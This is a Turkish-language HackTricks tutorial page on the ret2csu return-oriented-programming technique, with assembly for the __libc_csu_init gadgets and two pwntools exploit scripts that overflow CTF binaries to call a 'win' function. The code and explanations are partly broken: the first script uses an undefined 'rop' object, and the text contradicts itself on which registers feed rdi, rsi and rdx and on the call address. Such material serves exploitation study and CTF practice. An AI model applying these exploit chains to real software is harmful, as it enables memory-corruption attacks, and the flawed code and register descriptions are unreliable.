Ret2csu
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
https://www.scs.stanford.edu/brop/bittau-brop.pdfTemel Bilgiler
ret2csu, bir programın kontrolünü ele almaya çalışırken, programın davranışını manipüle etmek için genellikle kullandığınız gadgets'ları bulamadığınızda kullanılan bir hacking tekniğidir.
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik fonksiyonlara sahiptir. Bu fonksiyonlar arasında, özellikle __libc_csu_init
adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli değerler bulunmaktadır.
__libc_csu_init'deki Sihirli Gadgets
__libc_csu_init
içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:
- İlk dizi, birkaç kaydın (rbx, rbp, r12, r13, r14, r15) değerlerini ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
Bu alet, yığın üzerindeki değerleri bu kayıtlara alarak kontrol etmemizi sağlar.
- İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar:
- Belirli değerleri diğer kayıtlara taşıyarak, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir.
- r15 ve rbx'deki değerleri toplayarak belirlenen bir konuma çağrı yapar, ardından rbx'i 8 ile çarpar.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve bir
ret
talimatına ihtiyacınız var. İkinci gadget'ın da birret
ile biteceğini unutmayın, ancak ona ulaşmak için bazı koşulları yerine getirmeniz gerekecek:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
Koşullar şunlar olacaktır:
[r12 + rbx*8]
çağrılabilir bir fonksiyonu depolayan bir adrese işaret etmelidir (eğer bir fikriniz yoksa ve pie yoksa, sadece_init
fonksiyonunu kullanabilirsiniz):- Eğer _init
0x400560
adresindeyse, GEF kullanarak bellekte ona işaret eden bir işaretçi arayın ve[r12 + rbx*8]
'in _init'e işaret eden adres olmasını sağlayın:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
rbp
verbx
aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşir.- Dikkate almanız gereken bazı atlanmış pop'lar vardır.
RDI ve RSI
rdi
ve rsi
'yi ret2csu gadget'ından kontrol etmenin bir diğer yolu, belirli ofsetlere erişmektir:
Daha fazla bilgi için bu sayfayı kontrol edin:
BROP - Blind Return Oriented Programming
Örnek
Çağrıyı Kullanma
Bir syscall yapmak veya write()
gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak rdx
ve rsi
kayıtlarında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
İşte burada ret2csu devreye giriyor:
- Kayıtları Ayarlayın: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop'layın.
- İkinci Gadget'ı Kullanın: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri
rdx
versi
'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca,r15
verbx
'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu[r15 + rbx*8]
adresine yerleştirebilirsiniz.
Bu tekniği kullanan ve burada açıklayan bir örneğiniz var ve bu, kullanılan son istismar:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
warning
Önceki exploit'in bir RCE
gerçekleştirmek için tasarlanmadığını, sadece win
adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde win
adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak 0xdeadbeefcafed00d
değerini kullandığını unutmayın.
Çağrıyı atlayarak ret'e ulaşma
Aşağıdaki exploit, ret2csu'nun kullanıldığı bu sayfadan çıkarılmıştır, ancak çağrıyı kullanmak yerine, karşılaştırmaları atlayarak ve çağrıdan sonra ret
'e ulaşmaktadır:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
Neden Sadece libc Kullanmayalım?
Genellikle bu durumlar da ret2plt + ret2lib ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, write()
fonksiyonu üç parametre gerektirir ve bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.